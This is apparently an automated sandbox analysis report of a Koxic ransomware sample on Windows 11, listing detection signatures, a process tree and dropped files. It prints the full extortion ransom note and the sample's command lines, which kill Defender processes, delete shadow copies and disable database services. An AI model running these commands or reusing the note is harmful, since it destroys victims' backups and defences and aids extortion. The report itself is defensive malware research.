Overview

overview

10

Static

static

10

2026-07-07...x_.exe

windows10-2004-x64

10

2026-07-07...x_.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 09:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-07_cb80eeabade0cea198b289ceda1b0e54_amadey_avoslocker_cobalt-strike_coinminer_darkgate_elex_.exe
  • Size 386KB
  • Sample260707-lybzkae191
  • SHA256 3f914046b8d3ff3ed71a842b69c917b0774b48b5e69f1f8460c3badeee66d7fb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionkoxicransomwaretrojan

Malware Config

Extracted

Path

  • C:\Users\Admin\AppData\Local\Adobe\WANNA_RECOVER_KOXIC_FILEZ_RJKGM.txt

Ransom Note
  • --=== Hello ===--- [+] Whats Happen? [+] Your sensitive information and data were downloaded. Your files are encrypted, and currently unavailable just so you can contact us faster. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] We are not interested in distributing information, we are interested in agreeing with you - these are your guarantees. Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should send sample to us to decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise-time is much more valuable than money. [+] How to contact us? [+] Just write us an email to [email protected] [+] Consequences if we do not find a common language [+] 1. The data were irretrievably lost. 2. Leaked data will be published or sold on blmarket (or to competitors). 3. In some cases, DDOS attacks will be applied to your inftastructure. !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!! Your UserID: 6EB55FB9E75D2FFDF67F95981E70EC174C65E0AE0B081A5B3EEEA0DA085E791D85A3D2C20904B902E6 1AB0BA9606981D5CFAA2184904CB8CDF1765851197026C98A6C32A308A34D763C3B2EFBECB319DB2DB 10AA1607174441D78FCE3094CB4C91C5D04CB77E0F00A746EC5D81DD584BEAEF3E6547D279BDDAA291 1374B13E91322C4251F6BC6AD45AC06996943CD8E1D3585F77FCD034244AF6EE3840BA7CD65E3310E2 124A0F672DE4273DE9B8EED5DA4B86CF652A8F180100772B79BB5B0C510E3B151E6B5F23B654CDA330 1955A6AC07D376C5543D0A55619C93D203F401076DAD0E474F55812714CB12BD9B603DE383009ED966 60D3D8F20BE887C4B2403082010A0282010100981AB6387F607C1FB645EF8AD76788F2A545957D64D5 3F4E0F76232564B2061A52213DE30554EA22A2B54998915954ED42BC6843BDF903D3FA7D38FD563995 60DF63E0F10BE8D41BDC0B9DD5BFA2A40ED6FBE88790BB94E0755F361DA80921925DB7CA070ACDCA03 32E2DBCBC39D63AFD0B32221E9ED258256C9CC74893166E5DA30FB46C68BBCEF26DF4A7EE64436591B 6358358AF306C85206ABFB5156E15ACC4CD9D00A961B4F54FE87D65E1A97D95AB1986ED62D49336DF4 E78DD895019366777C61982C1A6F1E077AE5037B2ADECECE32908488EE233BE9F6B2E9A2028EBCC119 D68AD68259F6EFD19BFB3FA75402087B953F340A3C9DF382CECC19762702030100013D2B7408010BE2 E1BBDF54E5137C0DD0524A4B474D

Signatures

  • Family: Koxic

    A C++ written ransomware first seen in late 2021.

    ransomwarekoxic
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Renames multiple (7316) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables taskbar notifications via registry modification
    defense_evasion
  • Windows security modification 2 TTPs 8 IoCs
    defense_evasiontrojan
  • Drops file in Program Files directory 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-07_cb80eeabade0cea198b289ceda1b0e54_amadey_avoslocker_cobalt-strike_coinminer_darkgate_elex_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-07_cb80eeabade0cea198b289ceda1b0e54_amadey_avoslocker_cobalt-strike_coinminer_darkgate_elex_.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Windows security modification
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6004
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /F /IM MSASCuiL.exe taskkill /F /IM MSMpeng.exe taskkill /F /IM msseces.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM MSASCuiL.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet sc config browser sc config browser start=enabled sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabled sc stop SQLWriter sc config SQLWriter start=disabled sc stop MSSQLServerOLAPService sc config MSSQLServerOLAPService start=disabled sc stop MSSQLSERVER sc config MSSQLSERVER start=disabled sc stop MSSQL$SQLEXPRESS sc config MSSQL$SQLEXPRESS start=disabled sc stop ReportServer sc config ReportServer start=disabled sc stop OracleServiceORCL sc config OracleServiceORCL start=disabled sc stop OracleDBConsoleorcl sc config OracleDBConsoleorcl start=disabled sc stop OracleMTSRecoveryService sc config OracleMTSRecoveryService start=disabled sc stop OracleVssWriterORCL sc config OracleVssWriterORCL start=disabled sc stop MySQL sc config MySQL start=disabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3680
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo OS INFO: > %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2548
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic OS get Caption,CSDVersion,OSArchitecture,Version >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6052
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic OS get Caption,CSDVersion,OSArchitecture,Version
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4140
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo BIOS INFO: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3364
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic BIOS get Manufacturer, Name, SMBIOSBIOSVersion, Version >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic BIOS get Manufacturer, Name, SMBIOSBIOSVersion, Version
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4576
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo CPU INFO: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5504
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic CPU get Name, NumberOfCores, NumberOfLogicalProcessors >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2260
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic CPU get Name, NumberOfCores, NumberOfLogicalProcessors
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1960
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo MEMPHYSICAL INFO: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4036
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic MEMPHYSICAL get MaxCapacity >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic MEMPHYSICAL get MaxCapacity
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2740
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo MEMORYCHIP: INFO >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4652
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic MEMORYCHIP get Capacity, DeviceLocator, PartNumber, Tag >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic MEMORYCHIP get Capacity, DeviceLocator, PartNumber, Tag
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3768
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo NIC INFO: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3760
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic NIC get Description, MACAddress, NetEnabled, Speed >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5588
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic NIC get Description, MACAddress, NetEnabled, Speed
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4716
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo DISKDRIVE INFO: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5156
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic DISKDRIVE get InterfaceType, Name, Size, Status >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5872
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic DISKDRIVE get InterfaceType, Name, Size, Status
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2536
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo USERACCOUNT INFO: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2192
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "wmic USERACCOUNT get Caption, Name, PasswordRequired, Status >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic USERACCOUNT get Caption, Name, PasswordRequired, Status
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4860
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo IPCONFIG: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1312
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "ipconfig >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5832
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:1412
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "echo DATABASES FILES: >> %TEMP%\JVXJQQNDP"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5160
    • C:\Windows\SysWOW64\notepad.exe
      notepad.exe C:\Users\Admin\AppData\Local\Temp\WANNA_RECOVER_KOXIC_FILEZ_RJKGM.txt
      2⤵
      • System Location Discovery: System Language Discovery
      • Opens file in notepad (likely ransom note)
      PID:8764
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2026-07-07_cb80eeabade0cea198b289ceda1b0e54_amadey_avoslocker_cobalt-strike_coinminer_darkgate_elex_.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:8656
      • C:\Windows\SysWOW64\PING.EXE
        ping 1.1.1.1 -n 1 -w 3000
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:8664

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        WANNA_RECOVER_KOXIC_FILEZ_RJKGM.txt
        • Path C:\Users\Admin\AppData\Local\Adobe\WANNA_RECOVER_KOXIC_FILEZ_RJKGM.txt
        • Size 11KB
        • SHA256 0859712441dda7dbe7cc88eb5d05ef0cb162cd1e687b4bf9b7f6875c59b44639
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 1024B
        • SHA256 453d1b3c752d30db0b39d2239cc39540c28d0da4a6b6b98d62fc53812df03d58
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 1KB
        • SHA256 c316d563d378091b78484daa2fa3a4d217b19c8777b00b86f8a86b2de046fad2
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 11B
        • SHA256 9841fc54844c86d073907913cfd2fccc49d13db491e790c6aeb30b7159e62bf5
        • MD5 SHA1 SHA512
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 1KB
        • SHA256 b8d1b6f7ccc59c9e818fd43e963e7ef7934e01f9074b29532ef916ef87b45154
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 1KB
        • SHA256 f07ec4d9f850d9ffa9ed7c0ff7a355efaeac492fdf3f4e9230fbd4263e47b0d7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 1KB
        • SHA256 b988325062077732102a27ed2e8b7e46482498b8cb1d66d7f339dbe3242117c5
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 2KB
        • SHA256 a67fc2d868a1532ebb01db1ca4d620e2afc8c66c5aee8529c548f7bb7335e00b
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 3KB
        • SHA256 1465fdb12313b044de0cdb09f291b979623ca5cfd0697a4c1850ddbfcdb28bc7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 3KB
        • SHA256 e78e38658a96d834c196b0a0e3cdefba0ce4ba29df21e5d9ed0d364d3a876f1c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 3KB
        • SHA256 3d5d423cf98c22c475d27a0379c14ea661d4535ef4b637d414fbc35fc7393442
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 360B
        • SHA256 3997ba19e8f3317b34bf56b8961b55bb4190ad0fe1fc1fc3ed2c88920f7b7c45
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        JVXJQQNDP
        • Path C:\Users\Admin\AppData\Local\Temp\JVXJQQNDP
        • Size 692B
        • SHA256 b8f75020aabf0b96c20e138c84198882b89df2044ba3cca2f51c530a07f26173
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/6004-0-0x00000000001F0000-0x0000000001261000-memory.dmp
        Download